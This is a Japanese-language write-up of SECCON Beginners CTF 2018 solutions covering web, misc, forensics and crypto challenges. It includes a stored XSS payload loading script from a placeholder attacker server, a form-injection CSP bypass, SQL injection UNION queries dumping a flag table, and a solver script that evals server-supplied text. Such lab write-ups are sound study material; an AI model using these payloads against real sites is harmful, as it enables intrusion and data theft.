実質公式 Write-up はこちら
SECCON Beginners CTF 2018 Write-up - Qiita
4r@r3㌠ というチームで個人参戦しました。忘れないうちに Write-up をメモしておきます。
■ Web: [Warmup] Greeting
管理者である admin のみが Flag を見ることができるページ。
Cookie から $username
の値を設定しているので、 Cookie の name
の値を admin
にするだけ
■ Web: Gimme your comment
問い合わせ?の投稿と、それに対してコメントができるWebサービス。
投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」という回答が来て、その際に用いられるブラウザの UserAgent を求めるという問題。
投稿のタイトルとコメントは XSS できないが、投稿の本文が特にサニタイズされていないため XSS 可能。
例えば、以下のような本文で投稿すると、自分のサイトに対してリクエストを飛ばすことができる。
<script src="[Your Server]"></script>
なお、私は XSS する際にアクセスさせるサイトに RequestBin を用いている。サービス自体は終了してしまったが、OSS として公開されており簡単に heroku にデプロイできるのでオススメです。
■ Web: SECCON Goods
SECCON グッズの在庫状況がわかるサイト。
Vue.js が使われており、 init.js
を見ると /items.php?minstock=0
にアクセスしているのがわかる。
/items.php?minstock=100
とすると 1 件も返ってこないが、 /items.php?minstock=100 or 1=1;--
とすると全件返ってくるため、SQLi できることがわかる。
あとは 普通に UNION を使って SQLi するだけ。
/items.php?minstock=100 union select table_schema, table_name, column_name, 1, 1 from INFORMATION_SCHEMA.COLUMNS;--
INFORMATION_SCHEMA から flag がありそうなテーブルを見つける。
[
...,
{
"id": "app",
"name": "flag",
"description": "flag",
"price": "1",
"stock": "1"
},
...
]
flag の取得
/items.php?minstock=0 union select flag, 1, 1, 1, 1 from flag;--
■ Web: Gimme your comment REVENGE
Gimme your comment と同じサイトで、フラグの取得条件も同じ。
ただし、 Contents Security Policy(CSP) が設定されているため、インラインの JavaScript を実行したり、外部オリジンからリソースを読み込むことができない。
かなり悩んだが、 worker の JavaScript のコードを読んでいたら 投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」というコメントが来る ことを思い出し、以下の本文でいけることに気づいた。
</form>
<form method="post" action="[Your Server]">
これなら CSP を回避しながら外部オリジンにリクエストを送ることができる。
Gimme your comment を解いている時は、コメント機能の存在意義や、なぜセッションハイジャックではなく UserAgent でいいのか疑問だったが、これで納得した。
■ Misc: [Warmup] plain mail
問題ファイルを Wireshark で開き、 Follow TCP Stream で眺めながら、Zip ファイルとそのパスワードを取得ししておしまい。
■ Misc: [Warmup] Welcome
問題文
フラグは公式IRCチャンネルのトピックにあります。
■ Misc: てけいさんえくすとりーむず
手計算と書いてあるがもちろん自動でやらせる。
import time
import socket
HOST = 'tekeisan-ekusutoriim.chall.beginners.seccon.jp'
PORT = 8690
def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip,remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
start_time = time.time()
data = ''
while not data.endswith(delim):
data += f.read(1)
if time.time() - start_time > 3: break
return data
def main():
print 'nc %s %s' % (HOST, PORT)
s, f = sock(HOST, PORT)
# Skip initial data
for i in range(11):
result = read_until(f)
print result.strip()
for i in range(100):
result = read_until(f)
print result.strip()
result = read_until(f, '=')
response = str(eval(result[:-1]))
s.send(response + '\n')
print result.strip() + response
while True:
result = read_until(f)
if not result: break
print result.strip()
print 'finish.'
if __name__ == '__main__':
main()
■ Misc: Find the messages
ディスクイメージが渡されて、その中に隠されたメッセージを探す問題。
とりあえずマウントしてみる。
$ sudo fdisk -l -u disk.img
Disk disk.img: 67 MB, 67108864 bytes
41 heads, 32 sectors/track, 99 cylinders, total 131072 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xad4d4cf0
Device Boot Start End Blocks Id System
disk.img1 2048 131071 64512 83 Linux
$ sudo mount -o loop,offset=$((2048*512)) disk.img /mnt
$ sudo ls -lhR /mnt
.:
total 15K
drwx------ 2 root root 12K 4月 28 02:03 lost+found
drwxr-xr-x 2 root root 1.0K 4月 28 02:03 message1
drwxr-xr-x 2 root root 1.0K 4月 28 02:03 message2
drwxr-xr-x 2 root root 1.0K 4月 28 02:05 message3
./lost+found:
total 0
./message1:
total 1.0K
-rw-r--r-- 1 root root 24 4月 28 02:03 message_1_of_3.txt
./message2:
total 15M
-rw-r--r-- 1 root root 15M 4月 28 02:03 message_2_of_3.png
./message3:
total 0
マウントすると3つのディレクトリが見える。
-
message1/
-
message_1_of_3.txt
: ただの Base64 エンコードされたテキスト
-
-
message2/
-
message_2_of_3.png
: PNG だがファイルシグネチャの部分が壊れているので修正する
-
-
message3/
- ファイルがないため、修復する必要があると予想
$ fls -r -o 2048 disk.img
d/d 11: lost+found
d/d 12: message1
+ r/r 13: message_1_of_3.txt
d/d 2017: message2
+ r/r 14: message_2_of_3.png
d/d 2018: message3
+ r/r * 15: message_3_of_3.pdf
d/d 16129: $OrphanFiles
$ icat -o 2048 disk.img 15 > message_3_of_3.pdf
これで復元できると思ったのだが、できなかったため binwalk
を用いた。
$ binwalk disk.img
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
1048576 0x100000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184 0x900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9700352 0x940400 PDF document, version: "1.3"
11535548 0xB004BC Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#
17829888 0x1101000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400 0x1900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616 0x2900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832 0x3900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
$ binwalk --dd='pdf:message_3_of_3.pdf' disk.img
■ Crypto: [Warmup] Veni, vidi, vici
Zip ファイルが渡され、解凍すると 3 つのファイルが出てくる。
1つは ROT13、もう1つはシーザー暗号、最後の1つはアルファベットを上下反転させたもの。
■ Crypto: RSA is Power
RSA の公開鍵の情報が与えられ、暗号文を復号する問題。
RSA は n
が素因数分解できれば復号可能なので、おもむろに FactorDB に突っ込んだところ素因数分解してくれた。
あとはやるだけ。
■ Crypto: Streaming
暗号化のスクリプトと暗号文が渡されて復号する問題。
暗号自体は XOR 暗号に seed がついてるだけ。しかも seed は mod 34607
したものなので、総当たりでできる。
class Stream:
A = 37423
B = 61781
C = 34607
def __init__(self, seed):
self.seed = seed % self.C
def __iter__(self):
return self
def next(self):
self.seed = (self.A * self.seed + self.B) % self.C
return self.seed
encrypted = ''
with open('encrypted', 'rb') as f:
while True:
value = f.read(1)
if value == '': break
encrypted += value
candidate = []
for seed in range(34607):
g = Stream(seed)
a = ord(encrypted[1]) * 256 + ord(encrypted[0])
# Check flag starts with 'ct'. Because flag format is 'ctf4b{...}'.
if a ^ g.next() == int('ct'.encode('hex'), 16):
candidate.append(seed)
for seed in candidate:
try:
flag = ''
g = Stream(seed)
for i in range(0, len(encrypted), 2):
a = ord(encrypted[i+1]) * 256 + ord(encrypted[i])
flag += hex(a ^ g.next())[2:].decode('hex')
print flag
except:
pass